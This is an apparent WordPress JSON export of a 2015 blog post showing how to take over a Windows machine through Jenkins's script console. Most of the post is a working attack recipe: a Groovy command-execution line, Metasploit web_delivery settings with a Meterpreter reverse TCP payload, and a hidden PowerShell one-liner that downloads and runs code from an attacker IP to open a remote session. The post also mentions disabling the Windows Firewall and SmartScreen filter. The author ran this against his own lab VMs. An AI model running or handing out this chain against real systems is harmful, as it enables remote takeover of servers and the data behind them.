{"id":1046,"date":"2015-03-08T14:23:08","date_gmt":"2015-03-08T13:23:08","guid":{"rendered":"http:\/\/dan.thoeisen.dk\/hjem\/?p=1046"},"modified":"2015-07-09T13:42:13","modified_gmt":"2015-07-09T11:42:13","slug":"lets-hack-a-jenkins-server","status":"publish","type":"post","link":"https:\/\/dan.thoeisen.dk\/hjem\/lets-hack-a-jenkins-server\/","title":{"rendered":"Let&#8217;s hack a jenkins server!"},"content":{"rendered":"<p>I recently discovered how to takeover a Windows machine running Jenkins (http:\/\/jenkins-ci.org\/) on a local network.<\/p>\n<p>What you need:<\/p>\n<ul>\n<li>Jenkins (I ran v. 1.597, but I think any will do)<\/li>\n<li>Metasploit<\/li>\n<li>Some technical skills<\/li>\n<\/ul>\n<p>I&#8217;m running a Windows 8 x64 with Jenkins CI v. 1.597 in a virtual machine, and a Kali Linux on another virtual machine.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/11.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1053 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/11-1024x555.jpg\" alt=\"1\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/11-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/11-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/11.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>A clean windows machine, running Jenkins.<\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/21.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1054 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/21-1024x555.jpg\" alt=\"2\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/21-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/21-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/21.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>Another VM running Kali Linux, with access to the Windows machine&#8217;s Jenkins web panel.<\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/31.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1055 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/31-1024x555.jpg\" alt=\"3\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/31-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/31-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/31.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>Let&#8217;s &#8220;Manage Jenkins&#8221; and open it&#8217;s Script console<\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/41.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1056 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/41-1024x555.jpg\" alt=\"4\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/41-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/41-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/41.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>After reading Jenkins documentation, I found out that you can run commands &#8211; Let&#8217;s ping google<\/p>\n<p><code>println new ProcessBuilder('ping',\"google.com\").redirectErrorStream(true).start().text <\/code><\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1057 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/5-1024x555.jpg\" alt=\"5\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/5-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/5-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/5.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>Let&#8217;s open up metasploit <code>msfconsole<\/code><\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/6.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1058 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/6-1024x555.jpg\" alt=\"6\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/6-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/6-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/6.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>While that opens, let&#8217;s find our local IP <code>ifconfig<\/code><\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/7.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1059 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/7-1024x555.jpg\" alt=\"7\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/7-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/7-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/7.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>We use the exploit called web_delivery<br \/>\n<code>use exploit\/multi\/script\/web_delivery<\/code><br \/>\nWe use target 2 which is Powershell (Since this has to be native windows stuff. But you could also use Python (if the machine had python installed))<br \/>\n<code>set TARGET 2<\/code><br \/>\nWe are using the payload meterpreter\/reverse_tcp<br \/>\n<code>set PAYLOAD windows\/meterpreter\/reverse_tcp<\/code><br \/>\nYou already know your local IP, so just put it in there<br \/>\n<code>set LHOST <\/code><code><\/code><br \/>\n<a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/8.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1060 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/8-1024x555.jpg\" alt=\"8\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/8-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/8-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/8.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>An overview of all the options we have set <code>show options<\/code><\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/9.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1061 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/9-1024x555.jpg\" alt=\"9\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/9-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/9-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/9.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>This will execute the exploit<br \/>\n<code>exploit<\/code><\/p>\n<p>&nbsp;<\/p>\n<p>Awesome!! &#8211; Now we can run this powershell command on any windows machine (locally of course \ud83d\ude42 ) and we will get a session to that machine.<\/p>\n<p>Should we try running this on the Jenkins server? &#8211; Hell yeah!<\/p>\n<p><code>powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http:\/\/192.168.234.128:8080\/PVdPa2LGUZ6tOaQ'))<\/code><\/p>\n<p><em>This is obviously my unique string, yours will be different<\/em><\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/111.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1062 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/111-1024x555.jpg\" alt=\"11\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/111-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/111-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/111.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>After a lot of back and forth trying to make this work &#8211; You know, when it has to work, it never does :S &#8211; Although when I first discovered this &#8220;advantage&#8221; it worked perfectly.<br \/>\nI finally got a session open to the machine, after a couple of force kills, disabling Windows Firewall, and Smart Filter and change of LPORT in my metasploit<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/10.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" size-large wp-image-1063 alignnone\" src=\"http:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/10-1024x555.jpg\" alt=\"10\" width=\"648\" height=\"351\" srcset=\"https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/10-1024x555.jpg 1024w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/10-300x163.jpg 300w, https:\/\/dan.thoeisen.dk\/hjem\/wp-content\/uploads\/10.jpg 1920w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Although I will not call this an exploit or a bug, hence the open CLI you get by running the Jenkins Continuous Integration Server. This is maybe more an eye opener for NOT putting your servers online.<\/p>\n<p>I always hate when tutorials\/guides are trying to justify some hacking technique by telling you how to not use them illegally, instead I will just end this by saying: Don&#8217;t be stupid! \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I recently discovered how to takeover a Windows machine running Jenkins (http:\/\/jenkins-ci.org\/) on a local network. What you need: Jenkins (I ran v. 1.597, but I think any will do) Metasploit Some technical skills I&#8217;m running a Windows 8 x64 with Jenkins CI v. 1.597 in a virtual machine, and a Kali Linux on another [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-1046","post","type-post","status-publish","format-standard","hentry","category-diverse"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/pSQsk-gS","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/posts\/1046","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/comments?post=1046"}],"version-history":[{"count":5,"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/posts\/1046\/revisions"}],"predecessor-version":[{"id":1155,"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/posts\/1046\/revisions\/1155"}],"wp:attachment":[{"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/media?parent=1046"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/categories?post=1046"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dan.thoeisen.dk\/hjem\/wp-json\/wp\/v2\/tags?post=1046"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}